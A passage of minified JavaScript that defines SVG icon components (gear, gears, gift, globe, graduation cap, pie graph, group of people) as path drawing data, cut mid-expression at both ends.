c69.558,0,126.144,56.586,126.144,126.143C1026.141,1566.492,969.555,1623.078,899.997,1623.078z M899.997,1433.866 c-34.778,0-63.071,28.293-63.071,63.071c0,34.777,28.293,63.07,63.071,63.07c34.78,0,63.073-28.293,63.073-63.07 C963.07,1462.159,934.777,1433.866,899.997,1433.866z"}),(0,o.createElement)("path",{d:"M988.992,726.573H811.005c-17.418,0-31.536-14.118-31.536-31.535c0-17.418,14.118-31.536,31.536-31.536 h177.987c17.416,0,31.535,14.118,31.535,31.536C1020.527,712.455,1006.408,726.573,988.992,726.573z"}),(0,o.createElement)("path",{d:"M988.992,591.422H811.005c-17.418,0-31.536-14.118-31.536-31.536s14.118-31.536,31.536-31.536h177.987 c17.416,0,31.535,14.118,31.535,31.536S1006.408,591.422,988.992,591.422z"}),(0,o.createElement)("path",{d:"M988.992,456.27H811.005c-17.418,0-31.536-14.118-31.536-31.536c0-17.417,14.118-31.535,31.536-31.535 h177.987c17.416,0,31.535,14.118,31.535,31.535C1020.527,442.152,1006.408,456.27,988.992,456.27z"}),(0,o.createElement)("path",{d:"M988.992,321.119H811.005c-17.418,0-31.536-14.118-31.536-31.536c0-17.417,14.118-31.535,31.536-31.535 h177.987c17.416,0,31.535,14.118,31.535,31.535C1020.527,307.001,1006.408,321.119,988.992,321.119z"}),(0,o.createElement)("path",{d:"M1711.691,1798.767h-315.688c-46.674,0-84.646-37.972-84.646-84.646V85.879 c0-46.674,37.973-84.646,84.646-84.646h315.688c46.67,0,84.637,37.972,84.637,84.646v1628.242 C1796.328,1760.795,1758.361,1798.767,1711.691,1798.767z M1396.004,64.304c-11.896,0-21.575,9.679-21.575,21.575v1628.242 c0,11.896,9.679,21.574,21.575,21.574h315.688c11.892,0,21.566-9.678,21.566-21.574V85.879c0-11.896-9.675-21.575-21.566-21.575 H1396.004z"}),(0,o.createElement)("path",{d:"M1553.839,1623.078c-69.556,0-126.142-56.586-126.142-126.141c0-69.557,56.586-126.143,126.142-126.143 s126.142,56.586,126.142,126.143C1679.98,1566.492,1623.395,1623.078,1553.839,1623.078z M1553.839,1433.866 c-34.778,0-63.071,28.293-63.071,63.071c0,34.777,28.293,63.07,63.071,63.07s63.07-28.293,63.07-63.07 C1616.909,1462.159,1588.617,1433.866,1553.839,1433.866z"}),(0,o.createElement)("path",{d:"M1642.831,726.573h-177.985c-17.417,0-31.535-14.118-31.535-31.535c0-17.418,14.118-31.536,31.535-31.536 h177.985c17.417,0,31.535,14.118,31.535,31.536C1674.366,712.455,1660.248,726.573,1642.831,726.573z"}),(0,o.createElement)("path",{d:"M1642.831,591.422h-177.985c-17.417,0-31.535-14.118-31.535-31.536s14.118-31.536,31.535-31.536h177.985 c17.417,0,31.535,14.118,31.535,31.536S1660.248,591.422,1642.831,591.422z"}),(0,o.createElement)("path",{d:"M1642.831,456.27h-177.985c-17.417,0-31.535-14.118-31.535-31.536c0-17.417,14.118-31.535,31.535-31.535 h177.985c17.417,0,31.535,14.118,31.535,31.535C1674.366,442.152,1660.248,456.27,1642.831,456.27z"}),(0,o.createElement)("path",{d:"M1642.831,321.119h-177.985c-17.417,0-31.535-14.118-31.535-31.536c0-17.417,14.118-31.535,31.535-31.535 h177.985c17.417,0,31.535,14.118,31.535,31.535C1674.366,307.001,1660.248,321.119,1642.831,321.119z"})),gear:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1203.175,843.2c-17.272,0-31.273-14-31.273-31.273c0-116.959-117.688-177.271-167.899-177.271 c-17.272,0-31.273-14.001-31.273-31.273s14.001-31.272,31.273-31.272c80.425,0,230.445,82.364,230.445,239.817 C1234.447,829.2,1220.447,843.2,1203.175,843.2z"}),(0,o.createElement)("path",{d:"M1012.309,1788.987H787.691c-15.351,0-28.433-11.143-30.876-26.299l-30.721-190.718 c-62.62-16.151-122.402-40.937-178.231-73.885L391.23,1611.258c-12.442,8.983-29.575,7.622-40.428-3.237l-158.825-158.829 c-10.855-10.854-12.227-27.983-3.235-40.427l113.17-156.626c-32.943-55.81-57.731-115.603-73.889-178.231l-190.716-30.723 c-15.156-2.443-26.299-15.523-26.299-30.876V787.688c0-15.353,11.143-28.433,26.299-30.876l190.716-30.717 c16.157-62.633,40.945-122.426,73.887-178.237L188.742,391.235c-8.992-12.443-7.62-29.571,3.235-40.429l158.825-158.834 c10.856-10.854,27.989-12.225,40.428-3.235l156.631,113.17c55.823-32.951,115.604-57.731,178.233-73.885l30.721-190.711 c2.443-15.157,15.525-26.299,30.876-26.299h224.617c15.353,0,28.433,11.143,30.876,26.299l30.723,190.713 c62.629,16.151,122.418,40.938,178.231,73.889l156.631-113.172c12.438-8.994,29.563-7.62,40.431,3.235l158.825,158.829 c10.854,10.855,12.225,27.985,3.232,40.429L1498.09,547.861c32.957,55.832,57.738,115.611,73.89,178.233l190.713,30.717 c15.156,2.443,26.3,15.523,26.3,30.876v224.621c0,15.353-11.144,28.433-26.3,30.876l-190.718,30.723 c-16.155,62.629-40.94,122.422-73.885,178.231l113.168,156.631c8.992,12.442,7.622,29.571-3.232,40.431L1449.2,1608.025 c-10.855,10.859-27.988,12.22-40.431,3.232l-156.64-113.172c-55.81,32.943-115.598,57.729-178.223,73.88l-30.723,190.723 C1040.741,1777.845,1027.661,1788.987,1012.309,1788.987z M814.331,1726.441h171.338l29.794-184.958 c2.033-12.613,11.535-22.727,24-25.536c70.089-15.798,136.509-43.327,197.41-81.83c10.789-6.827,24.659-6.404,35.025,1.087 l151.91,109.756l121.151-121.151l-109.752-151.901c-7.482-10.357-7.914-24.223-1.086-35.025 c38.498-60.901,66.031-127.325,81.843-197.423c2.81-12.465,12.918-21.963,25.531-23.996l184.95-29.794V814.327l-184.95-29.79 c-12.613-2.033-22.727-11.535-25.536-24c-15.793-70.076-43.327-136.498-81.838-197.419c-6.828-10.8-6.396-24.667,1.086-35.025 l109.752-151.897L1423.809,255.04l-151.901,109.756c-10.362,7.482-24.231,7.912-35.029,1.084 c-60.901-38.504-127.321-66.041-197.415-81.838c-12.465-2.81-21.967-12.918-24-25.533l-29.794-184.95h-171.34l-29.792,184.945 c-2.033,12.615-11.533,22.724-23.998,25.534c-70.089,15.802-136.511,43.336-197.421,81.836 c-10.805,6.828-24.667,6.394-35.025-1.086L376.192,255.036L255.04,376.196l109.752,151.893 c7.484,10.357,7.914,24.225,1.086,35.025c-38.495,60.898-66.031,127.323-81.84,197.428 c-2.813,12.462-12.921,21.962-25.534,23.995l-184.95,29.79v171.342l184.95,29.794c12.613,2.033,22.722,11.531,25.534,23.996 c15.806,70.098,43.342,136.521,81.84,197.423c6.828,10.803,6.398,24.668-1.086,35.025L255.04,1423.804l121.152,121.156 l151.901-109.756c10.353-7.486,24.223-7.919,35.023-1.087c60.923,38.503,127.345,66.036,197.423,81.839 c12.464,2.81,21.964,12.918,23.998,25.531L814.331,1726.441z"}),(0,o.createElement)("path",{d:"M900,1380.974c-265.211,0-480.978-215.769-480.978-480.982c0-265.211,215.767-480.978,480.978-480.978 c265.218,0,480.987,215.767,480.987,480.978C1380.987,1165.205,1165.218,1380.974,900,1380.974z M900,481.56 c-230.725,0-418.432,187.707-418.432,418.432c0,230.726,187.708,418.437,418.432,418.437 c230.729,0,418.441-187.711,418.441-418.437C1318.441,669.267,1130.729,481.56,900,481.56z"})),gears:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1094.819,1135.051l-108.863-17.528c-9.449-34.07-22.999-66.744-40.445-97.562l64.601-89.408 c8.963-12.402,7.593-29.477-3.227-40.295l-97.074-97.083c-10.828-10.832-27.9-12.188-40.297-3.227l-89.409,64.601 c-30.817-17.446-63.496-30.991-97.557-40.44L665.01,705.239c-2.435-15.106-15.472-26.212-30.774-26.212H496.934 c-15.302,0-28.339,11.105-30.774,26.212l-17.535,108.864c-34.057,9.449-66.731,22.995-97.555,40.445l-89.409-64.601 c-12.399-8.958-29.474-7.597-40.295,3.222l-97.083,97.083c-10.819,10.823-12.187,27.897-3.225,40.3l64.599,89.408 c-17.448,30.826-30.994,63.5-40.443,97.562l-108.866,17.528c-15.106,2.436-26.214,15.472-26.214,30.774v137.306 c0,15.303,11.106,28.339,26.212,30.774l108.868,17.533c9.454,34.062,22.997,66.735,40.443,97.557l-64.599,89.409 c-8.962,12.401-7.595,29.474,3.225,40.297l97.083,97.083c10.819,10.819,27.892,12.181,40.295,3.223l89.409-64.605 c30.822,17.446,63.496,30.992,97.555,40.445l17.535,108.867c2.433,15.107,15.472,26.213,30.774,26.213h137.302 c15.302,0,28.339-11.105,30.774-26.213l17.537-108.871c34.062-9.449,66.736-22.995,97.549-40.437l89.417,64.601 c12.402,8.962,29.478,7.601,40.297-3.223l97.083-97.079c10.819-10.823,12.185-27.895,3.222-40.297l-64.604-89.413 c17.446-30.813,30.991-63.487,40.445-97.557l108.868-17.533c15.105-2.436,26.212-15.472,26.212-30.774v-137.306 C1121.036,1150.522,1109.926,1137.486,1094.819,1135.051z M1058.697,1276.58l-102.915,16.576 c-12.571,2.026-22.647,11.492-25.447,23.916c-9.362,41.506-25.665,80.833-48.459,116.882c-6.806,10.767-6.375,24.591,1.083,34.914 l61.078,84.529l-59.535,59.53l-84.534-61.074c-10.323-7.457-24.147-7.888-34.909-1.083 c-36.058,22.795-75.376,39.093-116.878,48.446c-12.419,2.805-21.89,12.88-23.917,25.451l-16.576,102.92h-84.204l-16.576-102.915 c-2.026-12.571-11.495-22.646-23.916-25.447c-41.495-9.357-80.822-25.66-116.889-48.455c-10.765-6.805-24.588-6.374-34.907,1.083 l-84.525,61.074l-59.535-59.535l61.069-84.524c7.458-10.323,7.889-24.143,1.085-34.909 c-22.796-36.066-39.097-75.394-48.454-116.887c-2.803-12.424-12.878-21.89-25.45-23.916L72.474,1276.58v-84.204l102.912-16.571 c12.574-2.026,22.651-11.497,25.452-23.921c9.351-41.488,25.653-80.812,48.454-116.887c6.804-10.767,6.373-24.586-1.085-34.909 l-61.069-84.525l59.535-59.536l84.525,61.076c10.321,7.458,24.147,7.888,34.909,1.083c36.073-22.806,75.398-39.108,116.882-48.457 c12.424-2.801,21.895-12.88,23.921-25.452l16.576-102.911h84.204l16.576,102.915c2.027,12.571,11.498,22.651,23.917,25.451 c41.502,9.354,80.82,25.656,116.878,48.453c10.767,6.805,24.59,6.375,34.913-1.083l84.53-61.076l59.53,59.536l-61.073,84.53 c-7.458,10.323-7.889,24.146-1.083,34.913c22.799,36.054,39.101,75.376,48.459,116.878c2.8,12.424,12.876,21.895,25.447,23.921 l102.915,16.571V1276.58z"}),(0,o.createElement)("path",{d:"M565.583,928.422c-168.759,0-306.052,137.293-306.052,306.052s137.293,306.053,306.052,306.053 c168.763,0,306.061-137.294,306.061-306.053S734.346,928.422,565.583,928.422z M565.583,1478.187 c-134.384,0-243.713-109.328-243.713-243.713s109.329-243.713,243.713-243.713c134.389,0,243.722,109.328,243.722,243.713 S699.972,1478.187,565.583,1478.187z"}),(0,o.createElement)("path",{d:"M1767.072,581.748l-74.516-50.033c4.279-27.761,5.383-55.804,3.291-83.786l78.155-44.071 c13.328-7.519,19.229-23.595,13.929-37.949l-40.059-108.459c-5.301-14.359-20.233-22.725-35.248-19.79l-88.043,17.302 c-16.598-22.621-35.662-43.215-56.956-61.531l24.099-86.456c4.105-14.741-3.088-30.278-16.984-36.679l-105.002-48.368 c-13.902-6.418-30.392-1.774-38.919,10.932l-50.038,74.52c-27.703-4.253-55.785-5.375-83.777-3.288l-44.075-78.154 c-7.522-13.332-23.595-19.233-37.953-13.928l-108.459,40.058c-14.358,5.301-22.738,20.237-19.786,35.253l17.308,88.03 c-22.625,16.598-43.224,35.666-61.54,56.964l-86.446-24.104c-14.741-4.092-30.282,3.092-36.684,16.985l-48.372,105.002 c-6.401,13.897-1.766,30.387,10.932,38.918l74.511,50.038c-4.274,27.765-5.379,55.808-3.283,83.781l-78.15,44.072 c-13.328,7.519-19.229,23.599-13.928,37.949l40.058,108.463c5.301,14.354,20.256,22.76,35.253,19.786l88.03-17.303 c16.585,22.612,35.648,43.206,56.961,61.535l-24.104,86.451c-4.105,14.737,3.087,30.283,16.984,36.684l105.006,48.366 c13.902,6.404,30.387,1.77,38.919-10.938l50.042-74.512c27.695,4.257,55.781,5.375,83.777,3.288l44.076,78.161 c5.656,10.036,16.176,15.863,27.151,15.863c3.601,0,7.253-0.626,10.792-1.936l108.469-40.06 c14.357-5.301,22.738-20.238,19.785-35.253l-17.307-88.039c22.611-16.589,43.206-35.657,61.535-56.96l86.451,24.104 c14.74,4.092,30.282-3.088,36.684-16.985l48.363-105.006C1784.404,606.769,1779.777,590.28,1767.072,581.748z M1684.125,675.479 l-80.555-22.459c-12.275-3.409-25.378,0.97-33.118,11.08c-21.507,28.091-47.402,52.06-76.968,71.245 c-10.688,6.932-16.08,19.664-13.619,32.161l16.124,82.021l-58.651,21.664l-41.059-72.815c-5.574-9.884-16.002-15.859-27.143-15.859 c-1.361,0-2.735,0.087-4.113,0.27c-34.727,4.623-70.428,3.214-104.798-4.109c-12.445-2.656-25.269,2.535-32.37,13.111 l-46.624,69.418l-56.772-26.147l22.455-80.555c3.418-12.267-0.966-25.382-11.08-33.122c-28.092-21.503-52.06-47.398-71.245-76.963 c-6.927-10.685-19.655-16.072-32.161-13.619l-82.012,16.119l-21.664-58.651l72.811-41.058 c11.093-6.257,17.264-18.629,15.585-31.252c-4.636-34.957-3.253-70.214,4.113-104.793c2.653-12.458-2.539-25.273-13.106-32.374 l-69.427-46.62l26.155-56.777l80.551,22.459c12.264,3.405,25.383-0.97,33.123-11.084c21.48-28.073,47.38-52.042,76.971-71.245 c10.685-6.931,16.076-19.664,13.615-32.161l-16.123-82.012l58.651-21.664l41.058,72.81c6.254,11.093,18.615,17.272,31.257,15.589 c34.727-4.609,70.419-3.209,104.798,4.113c12.44,2.648,25.264-2.539,32.369-13.11l46.62-69.432l56.773,26.151l-22.456,80.563 c-3.418,12.271,0.971,25.387,11.084,33.123c28.065,21.481,52.034,47.372,71.232,76.958c6.936,10.685,19.668,16.059,32.156,13.62 l82.029-16.12l21.664,58.647l-72.818,41.058c-11.094,6.258-17.264,18.629-15.585,31.252c4.64,34.97,3.257,70.228-4.114,104.793 c-2.66,12.458,2.531,25.277,13.106,32.378l69.432,46.62L1684.125,675.479z"}),(0,o.createElement)("path",{d:"M1324.474,212.717c-31.026,0-61.63,5.492-90.97,16.329c-135.858,50.172-205.564,201.52-155.392,337.383 c37.927,102.701,136.95,171.707,246.409,171.716c0.009,0,0.009,0,0.018,0c31.014,0,61.617-5.492,90.952-16.329 c135.854-50.172,205.568-201.52,155.396-337.375C1532.951,281.727,1433.928,212.717,1324.474,212.717z M1393.896,663.338 c-22.402,8.275-45.736,12.467-69.357,12.467c0,0-0.009,0-0.014,0c-83.477-0.004-159.005-52.638-187.936-130.971 c-38.266-103.619,14.898-219.048,118.514-257.311c22.398-8.275,45.736-12.467,69.37-12.467 c83.478,0,159.001,52.638,187.936,130.979C1550.672,509.646,1497.503,625.071,1393.896,663.338z"})),gift:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1767.367,358.009h-276.059c0.318-51.483-6-101.019-19.174-146.457 c-30.153-104.006-92.074-174.999-174.359-199.906c-82.275-24.902-173.179-0.171-255.948,69.653 c-59.842,50.483-110.403,120.564-146.689,202.113c-36.296-81.549-86.849-151.63-146.699-202.113 c-82.77-69.825-173.664-94.547-255.949-69.653c-82.276,24.907-144.199,95.899-174.353,199.906 c-13.174,45.438-19.492,94.974-19.179,146.457H32.633c-17.443,0-31.582,14.139-31.582,31.582v342.886 c0,17.443,14.139,31.582,31.582,31.582h103.769v1002.154c0,17.439,14.138,31.582,31.581,31.582h593.286h277.465h593.284 c17.438,0,31.581-14.143,31.581-31.582V764.059h103.769c17.438,0,31.581-14.139,31.581-31.582V389.591 C1798.948,372.148,1784.805,358.009,1767.367,358.009z M1082.556,129.576c65.877-55.563,135.808-75.976,196.927-57.471 c61.109,18.496,107.988,74.267,131.983,157.036c11.543,39.794,17.059,83.374,16.751,128.869h-389.483H933.538 C966.159,264.106,1018.466,183.646,1082.556,129.576z M378.802,229.141c23.993-82.77,70.872-138.54,131.991-157.036 c61.119-18.518,131.049,1.912,196.927,57.471c64.088,54.07,116.387,134.53,149.017,228.434h-95.468H362.055 C361.742,312.514,367.263,268.935,378.802,229.141z M64.215,700.896V421.172h238.4h63.538h363.535v279.723H167.983H64.215z M199.565,764.059h530.122v970.573H199.565V764.059z M792.851,1734.632V764.059v-63.163V421.172h214.301v279.723v63.163v970.573 H792.851z M1600.436,1734.632h-530.12V764.059h530.12V1734.632z M1735.786,700.896h-103.769h-561.702V421.172h353.795h63.551 h248.125V700.896z"})),globe:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1583.266,1262.444c-155.105,155.105-361.327,240.526-580.678,240.526 c-219.35,0-425.572-85.421-580.677-240.526c-155.107-155.104-240.528-361.33-240.533-580.682 c0-219.354,85.42-425.578,240.528-580.685c12.336-12.333,12.336-32.328,0.004-44.663c-12.333-12.33-32.328-12.334-44.661,0 c-167.044,167.036-259.035,389.124-259.035,625.35c0.004,236.219,91.995,458.312,259.03,625.348 c164.65,164.647,378.605,250.606,594.774,258.019v168.973H656.207c-17.443,0-31.581,14.134-31.581,31.582 c0,17.439,14.138,31.582,31.581,31.582h694.789c17.446,0,31.582-14.143,31.582-31.582c0-17.448-14.136-31.582-31.582-31.582 h-315.814V1565.06c215.475-7.878,428.613-93.819,592.751-257.947c12.327-12.337,12.327-32.331,0-44.668 C1615.596,1250.118,1595.601,1250.118,1583.266,1262.444z"}),(0,o.createElement)("path",{d:"M389.367,972.961c77.779,163.801,214.692,287.502,385.518,348.33 c73.614,26.205,150.222,39.503,227.686,39.503c0.018,0,0,0,0.018,0c286.303,0,543.235-181.269,639.417-451.066 c0.044-0.106,0.079-0.211,0.114-0.317c60.801-170.812,51.453-355.075-26.32-518.855c-77.783-163.798-214.698-287.5-385.524-348.318 c-73.613-26.214-150.214-39.504-227.669-39.504c-286.417,0-543.43,181.375-639.542,451.326 C302.245,624.884,311.585,809.167,389.367,972.961z M446.42,945.868c-14.949-31.48-27.083-63.803-36.441-96.662 c0.838-0.817,1.635-1.688,2.393-2.615c43.204-53.021,175.521-186.786,267.388-169.374c40.816,7.734,75.588,0.683,103.345-20.987 c59.436-46.395,65.115-144.487,68.508-203.097c0.304-5.273,0.585-10.158,0.89-14.563c1.921-27.88-5.944-61.956-13.553-94.909 c-5.899-25.545-18.174-78.703-10.19-88.554c0,0,0.326-0.213,1.207-0.476c31.467-9.322,74.722-45.061,128.569-106.224 c34.64-39.342,53.788-64.954,64.274-82.143c42.879,1.416,85.402,7.333,127.145,17.683 c-48.473,39.591-108.728,101.778-99.846,161.004c5.912,39.446,38.252,67.783,96.119,84.221 c193.551,54.985,221.572,85.758,248.914,183.415c21.281,75.993,90.735,136.785,153.167,136.776c3.895,0,7.772-0.235,11.605-0.72 c13.498-1.711,35.934-7.961,55.487-29.354c7.947,77.48,0.951,156.189-21.123,232.574c-28.98-13.875-71.842-27.887-117.522-20.267 c-65.101,10.863-98.348-100.23-114.825-195.311c-18.506-106.747-79.05-109.385-104.218-105.567 c-63.232,9.585-128.625,93.667-120.642,155.116c7.473,57.486-37.309,155.165-77.844,191.843c-5.7,5.159-31.643-5.928-48.816-13.266 c-40.667-17.375-108.723-46.45-157.769,17.456c-48.292,62.918-179.892,224.911-229.164,285.42 C548.817,1109.103,488.206,1033.868,446.42,945.868z M1002.57,1297.631c-70.23,0-139.705-12.063-206.502-35.846 c-42.724-15.211-83.096-34.781-120.66-58.238c51.531-63.312,179.518-220.92,227.339-283.219 c16.684-21.741,33.549-18.894,82.852,2.167c35.775,15.28,80.301,34.305,116.007,2.019 c54.984-49.751,108.622-165.878,98.102-246.822c-3.261-25.092,36.524-79.834,67.479-84.524 c20.444-3.06,29.521,36.665,32.508,53.903c15.183,87.606,37.001,150.184,66.705,191.308 c40.305,55.805,87.915,60.994,120.739,55.521c33.184-5.524,66.211,7.53,86.408,18.168 C1480.105,1143.715,1253.828,1297.64,1002.57,1297.631z M1558.742,417.648c12.513,26.35,23.034,53.29,31.635,80.635 c-1.869,52.173-16.073,84.869-38.403,87.697c-30.663,3.879-81.065-37.067-96.003-90.422 c-36.04-128.711-87.977-169.047-292.481-227.144c-30.522-8.673-49.081-20.633-50.913-32.815 c-4.67-31.031,58.112-91.087,111.345-128.366C1371.941,164.149,1490.461,273.863,1558.742,417.648z M422.567,475.245 C502.993,249.357,707.646,91.966,942.826,68.929c-38.164,47.875-100.911,116.285-130.8,125.143 c-67.802,20.089-48.624,103.151-34.622,163.8c6.569,28.444,13.359,57.86,12.086,76.354c-0.318,4.613-0.617,9.732-0.935,15.257 c-2.595,44.788-7.419,128.156-44.314,156.956c-12.984,10.14-30.233,12.986-52.708,8.721 c-63.978-12.114-139.323,17.366-224.004,87.655c-30.065,24.959-55.778,50.538-74.142,70.084 C378.453,673.931,388.05,572.199,422.567,475.245z"}),(0,o.createElement)("path",{d:"M1035.578,629.173L1035.578,629.173c11.941,0,23.121-3.231,33.23-9.603 c37.053-23.346,52.023-62.746,65.241-97.506c9.993-26.279,19.422-51.1,36.604-67.192c16.565-15.509,22.1-35.773,14.821-54.208 c-8.874-22.458-33.776-35.337-68.31-35.337c-59.857,0-137.49,36.837-212.991,101.066c-11.635,9.902-14.518,26.715-6.838,39.926 C914.091,535.139,973.579,629.169,1035.578,629.173z M1109.791,428.827c-16.354,22.318-26.013,47.727-34.78,70.793 c-11.059,29.075-20.61,54.201-39.679,66.386c-13.183-0.397-43.514-31.319-69.031-68.74 C1038.116,441.573,1088.202,430.667,1109.791,428.827z"})),graduation:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1782.237,564.721L917.14,6.075c-10.442-6.742-23.85-6.738-34.283,0L17.763,564.721 c-9.009,5.818-14.453,15.813-14.453,26.541s5.443,20.723,14.453,26.541L316.79,810.904c-0.313,1.79-0.506,3.619-0.506,5.499 v365.474c0,70.584,64.633,134.248,181.99,179.271c107.807,41.356,250.473,64.136,401.725,64.136s293.923-22.779,401.729-64.136 c117.357-45.023,181.99-108.688,181.99-179.271V816.403c0-1.88-0.193-3.708-0.51-5.499l105.36-68.036v585.294 c-32.948,12.732-56.419,44.662-56.419,82.047c0,36.23,22.017,67.401,53.364,80.881l-61.275,269.287 c-2.134,9.371,0.114,19.205,6.108,26.72c5.994,7.511,15.084,11.883,24.696,11.883h130.237c0.021,0,0.052,0,0.088,0 c17.449,0,31.594-14.14,31.594-31.594c0-3.271-0.494-6.427-1.42-9.397l-60.732-266.898c31.348-13.479,53.362-44.65,53.362-80.881 c0-37.385-23.469-69.314-56.417-82.047v-626.1l130.483-84.26c9.01-5.818,14.453-15.813,14.453-26.541 S1791.247,570.539,1782.237,564.721z M1620.16,1435.033c-13.689,0-24.823-11.134-24.823-24.824 c0-13.685,11.134-24.824,24.823-24.824s24.824,11.14,24.824,24.824C1644.984,1423.899,1633.85,1435.033,1620.16,1435.033z M1594.631,1735.791l25.529-112.182l25.529,112.182H1594.631z M1420.529,1181.877c0,85.244-213.773,180.219-520.531,180.219 c-306.753,0-520.527-94.975-520.527-180.219V851.38l503.386,325.071c5.218,3.372,11.178,5.056,17.141,5.056 c5.959,0,11.923-1.684,17.142-5.056l503.39-325.071V1181.877z M899.998,1112.302L93.142,591.261L899.998,70.223l806.86,521.039 L899.998,1112.302z"}),(0,o.createElement)("path",{d:"M787.935,591.261c0,61.795,50.273,112.068,112.063,112.068c61.795,0,112.068-50.273,112.068-112.068 c0-61.792-50.273-112.063-112.068-112.063C838.208,479.198,787.935,529.469,787.935,591.261z M948.878,591.261 c0,26.953-21.927,48.88-48.88,48.88c-26.952,0-48.876-21.927-48.876-48.88c0-26.95,21.924-48.876,48.876-48.876 C926.951,542.385,948.878,564.311,948.878,591.261z"})),graph:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1548.188,307.531c-14.104-15.124-28.736-29.756-43.855-43.868l-43.869,43.868L932.02,835.979V88.261V26.19 c-10.297-0.357-20.635-0.6-31.018-0.6c-10.381,0-20.714,0.242-31.012,0.6C396.155,42.598,15.733,433.107,15.733,910.865 c0,488.131,397.129,885.256,885.269,885.256c242.229,0,462.014-97.82,622.015-256c1.378-0.988,2.715-2.063,3.95-3.302 c1.234-1.234,2.316-2.567,3.301-3.945c158.176-160.005,256-379.796,256-622.009 C1786.268,677.924,1695.784,465.752,1548.188,307.531z M869.99,88.261v791.578H78.412C94.39,450.525,440.663,104.252,869.99,88.261 z M901.002,1734.087c-443.551,0-806.223-352.599-822.59-792.214h809.74l572.312,572.308 C1313.488,1650.555,1116.829,1734.087,901.002,1734.087z M1504.332,1470.321L944.871,910.865l559.451-559.47 c136.383,146.966,219.916,343.634,219.916,559.47C1724.238,1126.688,1640.705,1323.346,1504.332,1470.321z"}),(0,o.createElement)("path",{d:"M1047.338,573.287c3.467,1.437,7.1,2.134,10.705,2.134c7.282,0,14.439-2.845,19.798-8.194l363.142-363.146 c5.248-5.251,8.195-12.368,8.195-19.789c0-7.421-2.947-14.538-8.199-19.79C1338.694,62.222,1202.705,5.887,1058.047,5.878 c-7.421,0-14.537,2.948-19.785,8.195c-5.251,5.251-8.199,12.369-8.199,19.793v513.566 C1030.063,558.754,1036.88,568.958,1047.338,573.287z M1086.035,62.638c109.898,6.214,212.929,48.893,295.021,122.212 l-295.021,295.02V62.638z"})),group:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("line",{fill:"none",stroke:"currentcolor",strokeWidth:"10",strokeLinecap:"round",strokeLinejoin:"round",strokeMiterlimit:"10",x1:"904.328",y1:"1132.364",x2:"904.328",y2:"895.221"}),(0,o.createElement)("line",{fill:"none",stroke:"currentcolor",strokeWidth:"10",strokeLinecap:"round",strokeLinejoin:"round",strokeMiterlimit:"10",x1:"1122.56",y1:"1262.028",x2:"915.405",y2:"1146.604"}),(0,o.createElement)("line",{fill:"none",stroke:"currentcolor",strokeWidth:"10",strokeLinecap:"round",strokeLinejoin:"round",strokeMiterlimit:"10",x1:"686.239",y1:"1262.028",x2:"893.394",y2:"1146.604"}),(0,o.createElement)("path",{d:"M974.697,512.844v-7.453c57.008-26.082,97.412-80.138,106.207-142.043 c24.032-8.717,40.98-31.933,40.98-58.221c0-22.63-12.225-42.889-31.146-53.695c1.969-6.164,3.585-12.379,4.831-18.586 c10.066-49.925-1.4-100.947-32.293-143.668c-30.385-42.033-76.063-71.018-128.615-81.617c-14.133-2.85-28.541-4.294-42.824-4.294 c-45.073,0-89.049,14.537-123.827,40.929c-35.818,27.174-60.31,65.782-68.967,108.718c-6.563,32.551-3.881,66.134,7.72,97.641 c-19.665,10.569-32.688,31.348-32.688,54.58c0,26.629,17.197,49.926,41.586,58.449c9.035,63.375,50.755,117.946,109.634,143.38 v5.885C703.003,540.551,618.678,632.024,618.678,738.92v28.549h106.436v-0.051h11.82v0.051h444.389V738.92 C1181.322,632.02,1096.998,540.551,974.697,512.844z M891.838,60.37c10.487,0,21.104,1.066,31.545,3.164 c38.423,7.75,71.671,28.738,93.623,59.098c20.469,28.305,28.713,61.591,23.443,94.254c-28.099-13.11-65.026-26.972-103.875-32.293 c-73.02-9.985-74.189-13.376-78.543-25.997l-13.939-40.344l-32.07,28.373c-3.413,3.005-29.25,25.717-59.067,50.42 c-0.821-10.957-0.134-21.943,2.067-32.853C767.147,104.033,824.688,60.37,891.838,60.37z M770.86,256.186 c20.026-16.2,39.808-32.93,54.121-45.206c19.836,17.894,50.771,22.927,103.848,30.187c36.003,4.926,71.31,19.343,96.846,32.006 v64.342c0,70.252-57.15,127.411-127.402,127.411c-70.257,0-127.412-57.159-127.412-127.411V256.186z M882.394,521.32 c11.808,1.04,23.542,0.916,35.208-0.313v17.627l-17.653,9.783l-17.554-9.753V521.32z M678.691,710.336 c13.105-63.942,69.255-117.096,146.604-138.622v0.551l74.606,41.448l74.796-41.427v-0.572 c77.361,21.526,133.515,74.692,146.611,138.647l-384.611-0.047v0.021H678.691z"}),(0,o.createElement)("path",{d:"M376.487,1542.108v-7.458c57.009-26.082,97.414-80.139,106.208-142.039 c24.032-8.717,40.98-31.932,40.98-58.221c0-22.635-12.225-42.885-31.146-53.699c1.969-6.164,3.584-12.379,4.835-18.586 c10.062-49.921-1.406-100.942-32.293-143.668c-30.39-42.029-76.063-71.013-128.615-81.608c-14.128-2.854-28.541-4.298-42.829-4.298 c-45.072,0-89.049,14.537-123.827,40.929c-35.818,27.174-60.314,65.782-68.971,108.718c-6.559,32.551-3.877,66.139,7.724,97.641 c-19.665,10.57-32.689,31.349-32.689,54.576c0,26.633,17.198,49.93,41.583,58.449c9.035,63.375,50.755,117.947,109.638,143.385 v5.88c-122.292,27.707-206.617,119.176-206.617,226.067v28.558h106.436v-0.12h11.816v0.12h444.393v-28.558 C583.113,1661.284,498.788,1569.815,376.487,1542.108z M293.628,1089.631c10.488,0,21.105,1.065,31.545,3.172 c38.423,7.745,71.675,28.729,93.622,59.094c20.478,28.309,28.718,61.604,23.443,94.254c-28.103-13.11-65.034-26.977-103.874-32.294 